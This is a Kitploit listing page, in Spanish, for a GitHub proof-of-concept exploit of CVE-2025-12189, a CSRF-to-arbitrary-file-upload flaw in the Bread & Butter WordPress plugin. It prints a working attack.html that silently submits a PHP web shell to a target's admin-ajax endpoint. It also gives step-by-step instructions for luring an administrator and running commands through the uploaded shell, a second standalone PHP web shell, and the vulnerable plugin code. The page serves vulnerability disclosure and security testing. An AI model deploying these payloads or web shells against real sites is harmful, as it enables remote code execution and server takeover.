Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12189 — Bread & Butter: Protege contenido + Captura leads + Recopila datos de primera parte + Nutre con agentes de IA <= 7.10.1321 - Cross-Site Request Forgery a Subida Arbitraria de Archivos | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-12189
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: Protege contenido + Captura leads + Recopila datos de primera parte + Nutre con agentes de IA <= 7.10.1321 - Cross-Site Request Forgery a Subida Arbitraria de Archivos

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Bread & Butter: Protege contenido + Captura clientes potenciales + Recopila datos de primera parte + Nutre con agentes de IA <= 7.10.1321 - Cross-Site Request Forgery para la subida arbitraria de archivos

El plugin Bread & Butter IO contiene una vulnerabilidad en su funcionalidad de subida de imágenes que permite a cualquier atacante engañar a administradores autenticados para que suban archivos arbitrarios al servidor, incluyendo shells web PHP, lo que conduce a la Ejecución Remota de Código (RCE). La vulnerabilidad se origina en la función uploadImage(), que carece de protección CSRF, lo que permite a los atacantes crear solicitudes maliciosas que los navegadores de los administradores ejecutarán automáticamente.

La vulnerabilidad existe en la función uploadImage() en /bread-butter/src/Base/Ajax.php, que carece de una validación adecuada de archivos y de protección CSRF, mientras utiliza file_put_contents() para escribir archivos directamente en el directorio de subidas de WordPress antes de realizar cualquier comprobación de seguridad.

TL;DR de exploits

  • A continuación se proporciona un POC attack.html para demostrar la explotación de subida de archivos basada en CSRF.
  • También se proporciona un ejemplo más realista en email-lure.html

Este es el sencillo attack.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

Para un POC puedes ejecutarlo localmente con algo como:

root@kitploit:~
# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Una vez iniciada sesión como administrador en el navegador de la víctima, hacer clic en el enlace conduce a RCE.

Detalles de la vulnerabilidad

Análisis de la causa raíz

La vulnerabilidad existe en la función uploadImage() en la línea 411 de /bread-butter/src/Base/Ajax.php:

root@kitploit:~
public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

Registro del manejador AJAX

La función vulnerable se registra como manejador AJAX de WordPress en la línea 95:

root@kitploit:~
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

Donde self::$uploadImage se define como upload_image en la línea 37.

Comprobación de autorización

El único control de seguridad es el método checkAdmin() en las líneas 166-171:

root@kitploit:~
public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

Explotación de CSRF

La falta de protección CSRF hace que esta vulnerabilidad sea explotable mediante ataques de Cross-Site Request Forgery. El POC attack.html lo demuestra:

  1. Creando un formulario malicioso que apunta al endpoint AJAX de WordPress
  2. Usando target="_blank" para evadir las restricciones CORS
  3. Incrustando una shell web PHP directamente en el HTML/JavaScript
  4. Enviando automáticamente el formulario cuando la víctima hace clic en el botón

Reproducción manual

Explotación de CSRF a RCE

  1. Crea una página HTML con el payload CSRF (ver attack.html)
  2. Sirve la página en cualquier servidor web (controlado por el atacante)
  3. Engaña a un administrador para que visite la página maliciosa
  4. El navegador del administrador enviará automáticamente el formulario
  5. El archivo malicioso se subirá al sitio WordPress
  6. Accede a la shell subida en /wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Explotación directa (requiere administrador)

  1. Inicia sesión en el panel de administración de WordPress con privilegios de administrador
  2. Navega a la configuración del plugin Bread & Butter
  3. Usa la funcionalidad de subida de imágenes o envía una solicitud AJAX directa a /wp-admin/admin-ajax.php
  4. Sube un archivo PHP con contenido malicioso:
root@kitploit:~
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. Accede al archivo subido en /wp-content/uploads/[year]/[month]/[filename].php
Descargar herramienta